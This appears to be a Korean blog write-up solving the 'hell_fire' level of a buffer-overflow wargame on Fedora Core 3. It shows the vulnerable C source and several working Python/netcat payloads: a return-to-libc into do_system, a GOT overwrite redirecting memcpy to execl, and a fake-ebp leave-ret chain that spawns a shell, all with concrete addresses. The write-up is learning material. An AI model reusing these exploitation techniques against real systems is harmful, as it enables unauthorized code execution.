/*
    The Lord of the BOF : The Fellowship of the BOF 
    - hell_fire
    - Remote BOF on Fedora Core 3 
    - hint : another fake ebp or got overwriting 
    - port : TCP 7777
*/
 
#include <stdio.h>
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    char temp[1024];
  
    printf("hell_fire : What's this smell?\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food
    fgets(temp, 1024, stdin);
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, temp);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
    printf("%s\n", buffer);
}
 
cs


음.. 힌트로는 another fake ebp or got overwrite이다.


먼저 got overwrite!! 이건 pop-pop-ret 가젯을 찾을수가 없어서 포기...

일단 어떤 방법들이 있나 보자.


1. fake ebp, mprotect를 사용하여 메모리공간에 x권한을 주고 shell코드 실행

2. fake ebp, execve를 이용하는 방법 (system은 왜인지 못써먹는다 ㅡ;; execl도 되지않을까싶은데?)


3. do_system 사용 (0x00750784 <do_system+1124>)


3번이 제일 쉽다.

바로 해보자.


payload : (python -c 'print("A"*268+"\x84\x07\x75\x00")';cat) | nc localhost 7777



굿.. 성공.


다음으로 1이나 2의 방법을 써볼까했지만, 찾아보니 내가 got overwrite로 푼게 있어서 그걸 쓰기로했다.

1,2의 방법은 나중에 시간이 되면 해봐야겠다.


먼저 stack의 모습을 엑셀로 그려보면 아래와 같다.




buf+dummy로 264값을 놓고, sfp는 변조안되니 나두고


ret에 strcpy를 이용해 memcpy_got값을 execl+3의 주소값으로 복사해주고, memcpy_plt로 뛰어주면

memcpy_got가 execl+3의 주소로 되어있어 execl+3으로 뛰게 된다.


이때 execl+3으로 뛰게되어 프롤로그는 생략되고, main이 종료되면서 ebp는 another sfp가 되어있다. (leave - pop ebp)

이 another sfp+8의 위치에 "/bin/sh"의 주소를 두면 execl로 "/bin/sh"가 실행되어 쉘이 실행되는 방식이다.




이제 필요한 값들을 구해보자.


0x80483bc memcpy.plt

0x80483cc strcpy.plt


memcpy 의 got위치

0x8049770 <_GLOBAL_OFFSET_TABLE_+28>: 0x007854c0


0x7a5720 <execl>


another ebp의 주소는 알 수 없으나 상대적인 주소는 알 수 있다.



96차이가 난다...


이제 payload를 구성해보자, strcpy의 변수로는 주소값이 들어가야하므로, 두번째 인자로 execl+3의 값이 들어있는곳의 주소를 넣어줘야하므로

payload의 구성이 끝난 뒤에 넣어주고 이 곳의 주소를 넣어주면 된다. fgets를 사용하므로 stdin의 주소에서 가져오면 된다.



일단 알고 있는 값으로 payload를 구성


payload : python -c 'print("A"*268+"\xcc\x83\x04\x08"+"\xbc\x83\x04\x08"+"\x70\x97\x04\x08"+"BBBB"+"C"*76+"ANOT"+"ARET"+"BINS"+"\x00\x00\x00\x00"+"\x23\x57\x7a\x00"+"\x00\x00\x00\x00"+"/bin/sh"+"\x00\x00\x00\x00")'


&(execl+3) : 0xf6ffe178

&(/bin/sh) : 0xf6ffe180


ㅡㅏㅏㅏㅏㅏㅏ


/bin/sh를 실행시키는 거였는데... 아무리해도 안된다; 왜 안되는거지 ㅡㅡ; 그러다가 /bin/my-pass로 바꾸어봣는데 이건 또 된다;;

(추측인데... /bin/sh가 실행안되는 이유는 setreuid가 걸려있지않아서 인것같다. )


payload : (python -c 'print("A"*268+"\xcc\x83\x04\x08"+"\xbc\x83\x04\x08"+"\x70\x97\x04\x08"+"\x78\xe1\xff\xf6"+"C"*76+"\x32\x32\xe1\xbf"+"ARET"+"\x7c\xe1\xff\xf6"+"\x00\x00\x00\x00"+"\x23\x57\x7a\x00"+"/bin/my-pass"+"\x00\x00\x00\x00")';cat) | nc localhost 7777



으어어.... execl을 실행시키는 방법을 해보겠다.


another fake ebp를 사용하는 것은 똑같다. 대신 아까와는 다르게 got overwrite를 쓰지않고 fake ebp로 stdin에 있는 /bin/my-pass의 값을 인자로 넣을수 있게 하면 된다.

실행하는 함수는 execl


0x08048561 <main+221>: leave  

0x08048562 <main+222>: ret   


payload : A*268 + leave-ret + "B"*88 + fakeEbp + execl + "AAAA" + &"/bin/sh" + null + "/bin/my-pass" + null


payload : (python -c 'print("A"*268+"\x61\x85\x04\x08"+"B"*88+"\x68\xe1\xff\xf6"+"\x23\x57\x7a\x00"+"\x78\xe1\xff\xf6"+"\x00\x00\x00\x00"+"/bin/sh"+"\x00\x00\x00\x00")';cat) | nc localhost 7777



구ㅜㅜㅜ웃....


엄청 힘드네 ;;



+ Recent posts